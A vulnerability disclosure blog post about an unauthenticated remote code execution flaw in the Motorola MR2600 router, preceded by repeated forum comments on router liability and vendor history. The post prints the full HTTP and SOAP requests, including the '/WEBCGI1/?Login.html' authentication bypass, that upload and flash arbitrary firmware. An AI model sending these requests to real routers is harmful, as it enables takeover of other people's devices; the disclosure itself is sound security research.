Unauthenticated RCE in Motorola's MR2600 Router

In Germany we have "Störerhaftung" where routerowners are responsible for everything that happens through their router.

I wonder how this would hold up in court, couldn't you argue that routers are generally buggy, how can they force any responsibility if they can easily be hacked?

Vendor wise, these were never really made by a “Motorola” -this is a Zoom router (thus the domain) that used the Motorola name under license.

The “old” Motorola router division Motorola Home got sold to Arris _without_ the brand name in 2013, and then the brand name went to Zoom in 2016. Zoom merged with another vendor called Minim, went bankrupt in 2023, and the assets were bought by a company called e2Companies in 2024.

So e2Companies is who the author should email, but good luck. I’m shocked these were even “maintained” until 2024.

>42 hosts with remote management

>vender doesn’t want to fix it

Sometimes I wonder if the white hat hackers who find such a thing should just take it a step further and patch those hosts. Take the firmware, fix those bugs and update those 42 routers.

Really curious the use of the "zoom.com" domain. However, since the endpoint uses insecure HTTP, maybe this should be a simple endpoint/hostname redirection.

A search of "router/firmware/query.aspx" leads me to D-Link endpoints who also uses the "wrpd" subdomain.

In Germany we have "Störerhaftung" where routerowners are responsible for everything that happens through their router.

I wonder how this would hold up in court, couldn't you argue that routers are generally buggy, how can they force any responsibility if they can easily be hacked?

It would depend on the laws of the jurisdiction. I would imagine if you can show you kept the firmware up to date and had a secure as possible config (eg not having admin interfaces exposed to the internet), you could argue that there's no negligence - outside of maybe using a known insecure vendor; sometimes I think that would be a good idea (cough cough Fortinet).

Germany has some sensible laws about personal responsibility, like it being an offence to run out of gas on the autobahn and seriously treating driving in general as a privilege. But it requires a certain cultural mindset.

Nearly every stock consumer router keeps getting these RCE’s. Perhaps that’s the point, they can get any arbitrary household in trouble if it’s expedient to do so.

It won't work. You would need to back up your claim with proof that someone hacked your router. You can't drive a car that is easily breakable and expect the court to clear you of any responsibility if it causes harm because it broke while you were driving.

Vendor wise, these were never really made by a “Motorola” -this is a Zoom router (thus the domain) that used the Motorola name under license.

So e2Companies is who the author should email, but good luck. I’m shocked these were even “maintained” until 2024.

>42 hosts with remote management

>vender doesn’t want to fix it

Sometimes I wonder if the white hat hackers who find such a thing should just take it a step further and patch those hosts. Take the firmware, fix those bugs and update those 42 routers.

That would be “gray hat”. It would be illegal, though it has happened in the past and to my knowledge no one has yet been prosecuted for illegally fixing vulnerabilities.

But it’s definitely not white hat.

Someone did, a Russian dude (or at least Russian speaking) updated over a 100.000 Mikrotik routers. While he did get a few "Thank you" notes, some users was also pretty angry with him.

https://www.zdnet.com/article/a-mysterious-grey-hat-is-patch...

Probably simpler to brick them, forcing the owners to upgrade to a modern and supported device.

Isn't just as illegal as exploiting them for nefarious purposes? That's a pretty big risk to take to help a few dozen strangers on the Internet. What happens if your fix has an unforeseen interaction with some configuration on a remote system and your actions cause outage or worse?

Just flash OpenWRT to them? :) (a script could prepare a matching default config)

Really curious the use of the "zoom.com" domain. However, since the endpoint uses insecure HTTP, maybe this should be a simple endpoint/hostname redirection.

A search of "router/firmware/query.aspx" leads me to D-Link endpoints who also uses the "wrpd" subdomain.

Zoom were a very longstanding modem company who expanded into cable and routers and licensed the Motorola brand in 2016.

Nearly every stock consumer router keeps getting these RCE’s. Perhaps that’s the point, they can get any arbitrary household in trouble if it’s expedient to do so.

An allegory here would be someone stealing an easily stealable car (e.g. doing the Kia Challenge) and causing damage or injury. The thief would be liable, not the owner

But if it’s the isp delivered router they should carry the responsibility

That would be “gray hat”. It would be illegal, though it has happened in the past and to my knowledge no one has yet been prosecuted for illegally fixing vulnerabilities.

But it’s definitely not white hat.

Someone did, a Russian dude (or at least Russian speaking) updated over a 100.000 Mikrotik routers. While he did get a few "Thank you" notes, some users was also pretty angry with him.

https://www.zdnet.com/article/a-mysterious-grey-hat-is-patch...

Zoom were a very longstanding modem company who expanded into cable and routers and licensed the Motorola brand in 2016.

Probably simpler to brick them, forcing the owners to upgrade to a modern and supported device.

Just flash OpenWRT to them? :) (a script could prepare a matching default config)

The MR2600 is a rebranded (or same ODM) D Link DIR-882 with a different plastic case, but the MR doesn't come with a rear USB 2.0 port. The FCC photos for each are identical otherwise, right down to the silkscreened board revision.

There's already an OpenWRT image for the DLink model, so coming up with an entry for the Motorola version shouldn't be hard.

An allegory here would be someone stealing an easily stealable car (e.g. doing the Kia Challenge) and causing damage or injury. The thief would be liable, not the owner

Generally any damage done by a car is the responsibility of its owner. The owner will likely be sued anyway, because they have insurance and assets, and the thief (even if known) does not.

But if it’s the isp delivered router they should carry the responsibility

I would assume that liability is avoided when someone has done a reasonable effort to secure the device. The user needs to make sure they've secured their router from unauthorized access by using proper passwords. The ISP needs to make sure the router is delivered with the latest firmware and is pre-configured to be secure.

The last few routers I've had from an ISP are totally turnkey. There's no configuration, no passwords set (maybe the local Wifi password), any config is done with an app that talks to the ISP, who then updates the router settings remotely. There isn't even an admin interface you can access from the local network side.

I would not assume that.

Because British government has just made leaseholders of apartments liable for costs of fixing forged and fraudulently obtained fire safety certification of apartment blocks.

The manufacturers of cladding materials have forged the fire safety certificate, the construction company has not followed the law when it comes to fire breaks and other fire safety system, the government building control has examined the building and signed it off as correct, possibly corruptly.

But after a skyscraper burned down with all the residents inside, now the residents are liable.

There's already an OpenWRT image for the DLink model, so coming up with an entry for the Motorola version shouldn't be hard.

Generally any damage done by a car is the responsibility of its owner. The owner will likely be sued anyway, because they have insurance and assets, and the thief (even if known) does not.

> The majority common law rule among the 50 states is that the owner of a stolen vehicle will not be held liable for damages when the vehicle is stolen and then involved in an accident that causes injury or property damage. This is because the vehicle was taken without the consent of the owner, who did not cause the accident.

https://www.mwl-law.com/wp-content/uploads/2018/02/OWNER-LIA...

I would not assume that.

Because British government has just made leaseholders of apartments liable for costs of fixing forged and fraudulently obtained fire safety certification of apartment blocks.

But after a skyscraper burned down with all the residents inside, now the residents are liable.

https://www.mwl-law.com/wp-content/uploads/2018/02/OWNER-LIA...

I’m currently on a quest to find at least one Remote Code Execution vulnerability per router vendor. This is the story of how I found an unauthenticated RCE in Motorola’s MR2600 router.

The first problem I had to solve was acquiring the firmware. For the majority of their routers, Motorola doesn’t distribute the firmware publicly; instead, it is only ever distributed via over-the-air updates.

The first exception to this rule that I could find was the Motorola MR2600. It was a Wi-Fi 5 router, with the last firmware update (v1.0.22) released in mid-2024.

https://help.motorolanetwork.com/kb/mr2600/mr2600-software-updates

Advertisement for the Motorola MR2600 router

With the firmware downloaded, I extracted the filesystem and started digging through the router’s CGI scripts and SOAP handlers to see how a legitimate manual update actually worked.

It turned out to be a two-step process: upload the image, then trigger a validation-and-flash routine. As I’d soon discover, both steps were supposed to require authentication but didn’t.

Uploading the Malicious Firmware

In the router firmware, you can find a reference to a fwupload endpoint:

POST /WEBCGI1/prog.fcgi?method=/cgi-bin/fwupload.cgi

In particular, the UpdateFirmware_Moto.html firmware update page contains:

<form id="fwupload"
      action="/WEBCGI1/prog.fcgi?method=/cgi-bin/fwupload.cgi"
      method="post"
      enctype="multipart/form-data">

This allows the administrator to manually upgrade the Motorola firmware. An internal handler validates that the uploaded file is a valid SEAMA image by checking that the first four bytes of the file are 0x27 0x05 0x19 0x56.

Unfortunately, the developers made a crucial mistake when parsing the SEAMA image from the multipart form. They try to validate that the raw multipart data is prefixed with the magic numbers instead of first extracting the relevant field from the form.

------WebKitFormBoundaryXXXXXXXX\r\n
Content-Disposition: form-data; name="file"; filename="firmware.img"\r\n
Content-Type: application/octet-stream\r\n
\r\n
[actual SEAMA bytes start here]
------WebKitFormBoundaryXXXXXXXX--\r\n

This results in any legitimate use of the API failing because the first four characters will always be “----”, which does not equal 0x27 0x05 0x19 0x56.

As an attacker, we can bypass this requirement by claiming we are sending a multipart form, but instead sending the raw firmware image without any multipart boundary at all.

The developers likely anticipated that this API endpoint could be abused if it were called by an unauthenticated attacker on the LAN, so they added a check to reject the request if the user was not authenticated.

However, the authentication check only triggers after the firmware has been uploaded and written to /tmp/firmware.img on the router, and it does nothing to delete the file if the check fails.

Flashing the Firmware

To flash the firmware, we need to make the following network request:

POST /WEBCGI1/ HTTP/1.1
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://purenetworks.com/WEBCGI1/LoadFirmwareValidation"

<?xml version="1.0"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <LoadFirmwareValidation xmlns="http://purenetworks.com/WEBCGI1/" />
  </soap:Body>
</soap:Envelope>

In layman’s terms, this just triggers an internal function within the router called LoadFirmwareValidation. It tries to validate that the file in /tmp/firmware.img is a valid SEAMA image and checks a CRC32 checksum to ensure that there is no risk of corruption in the file.

Anyone can generate a valid firmware image, since doing so doesn’t require any cryptographic signing to prove it was created by Motorola.

Internal function validating the firmware image

Once the firmware has been validated, the internal function calls a command called mtd_write:

mtd_write -r -w write /tmp/firmware.img Kernel &

This flashes the new firmware and then reboots the router (signified by the -r flag).

This API endpoint also requires authentication; however, it too can be bypassed.

The code for checking if a given endpoint should require authentication is implemented incorrectly.

It first checks if the URI contains any of the allowlisted or denylisted paths. In the dictionary shown below, only the last value, /WEBCGI1/, is considered denylisted.

Dictionary of allowlisted and denylisted URI paths

Once a match is found, the function explicitly checks if the URI is exactly equal to /WEBCGI1/. As long as the URI doesn’t perfectly match /WEBCGI1/, the system assumes the requested endpoint is allowed and lets the traffic through.

Function checking if the URI is allowed or not

The core vulnerability stems from the application using inconsistent comparison operators.

It checks for allowlisted endpoints using a basic substring match but checks for the denylisted endpoint (/WEBCGI1/) by checking the entire URI for an exact match.

Because of this flaw, an attacker can call the API and simply append an allowlisted string as an HTTP parameter, tricking the system into bypassing authentication completely.

e.g., POST /WEBCGI1/?Login.html

/WEBCGI1/?Login.html contains "Login.html" --> YES (Allowlist check passes)
/WEBCGI1/?Login.html equals "/WEBCGI1/" --> NO (Denylist check fails, so no block is applied)

This makes the completed request look like the following:

POST /WEBCGI1/?Login.html HTTP/1.1
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://purenetworks.com/WEBCGI1/LoadFirmwareValidation"

<?xml version="1.0"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <LoadFirmwareValidation xmlns="http://purenetworks.com/WEBCGI1/" />
  </soap:Body>
</soap:Envelope>

The completed exploit

Call fwupload.cgi to upload a malicious firmware image.
Call LoadFirmwareValidation with the authentication bypass.
The SEAMA validation and CRC32 checks pass, and the firmware is flashed.
The router automatically reboots, running the new, infected firmware.

Exploitability

At a minimum, this exploit can be triggered by any malicious actor situated on the LAN without requiring any authentication.

However, after checking both the lighttpd and firewall configurations, I found that this exploit can also be triggered remotely if remote management is enabled.

As of writing, Shodan shows 41 MR2600 routers on the internet with remote management enabled, meaning at least that many devices are currently exposed to this exploit from the public internet.

Exodus Intelligence

While researching this router, I found that a company named Exodus had previously found two vulnerabilities for the exact same model of router.

Specifically, they found a Command Injection vulnerability and an authentication bypass, which would presumably be used alongside the command injection bug.

https://blog.exodusintel.com/2024/01/25/motorola-mr2600-authentication-bypass-vulnerability/

https://blog.exodusintel.com/2024/01/25/motorola-mr2600-savestaticrouteipv4params-command-injection-vulnerability/

Unfortunately, Exodus chooses to hide the details of their vulnerabilities behind a paywall, so I am unable to verify if the authentication bypass is the same as the one I found myself.

Exodus Intelligence advisories for the Motorola MR2600

Reporting

When researching this router, I found that not only was it considered end-of-life, but the primary method of automatically updating the router was dead.

http://wrpd.zoom.com/router/firmware/query.aspx?model=MR2600_1x_Default

Normally, it would poll this endpoint to get the latest firmware version; however, zoom.com seems to now be owned by a telecommunications SaaS company, not one that manufactures and maintains routers.

Zoom.com domain ownership

Because of this, I was only planning to reach out to Motorola as a kind of courtesy call, so they were at least aware of my discovery and could issue an advisory if they so desired.

I first tried to send an email to Motorola Mobility, but they claimed that they only managed security incidents relating to their mobile phones and requested I reach out to Motorola Solutions instead.

Email response from Motorola Mobility

So, I forwarded my email to Motorola Solutions, and they responded by saying that the Motorola MR2600 router was actually a Motorola Mobility product and closed my submission.

Email response from Motorola Solutions

Since neither of Motorola’s divisions wants to claim this product, and given that the router is considered end-of-life, I have decided to proceed with public disclosure.

Donations

So far, for the vulnerabilities I have personally reported to AMD, ASUS, Google, Motorola, MSI, Netgear, TP-Link (and more), I have been paid a total of $0 in bug bounties.

If you found this article interesting or useful, you can buy me a coffee via my Ko-fi: https://ko-fi.com/mrbruhh

Timeline (DD/MM/YYYY)

07/06/2026 - Vulnerability discovered
16/06/2026 - Emailed Motorola Mobility
19/06/2026 - Emailed Motorola Solutions
13/07/2026 - Blog published

Hacker Times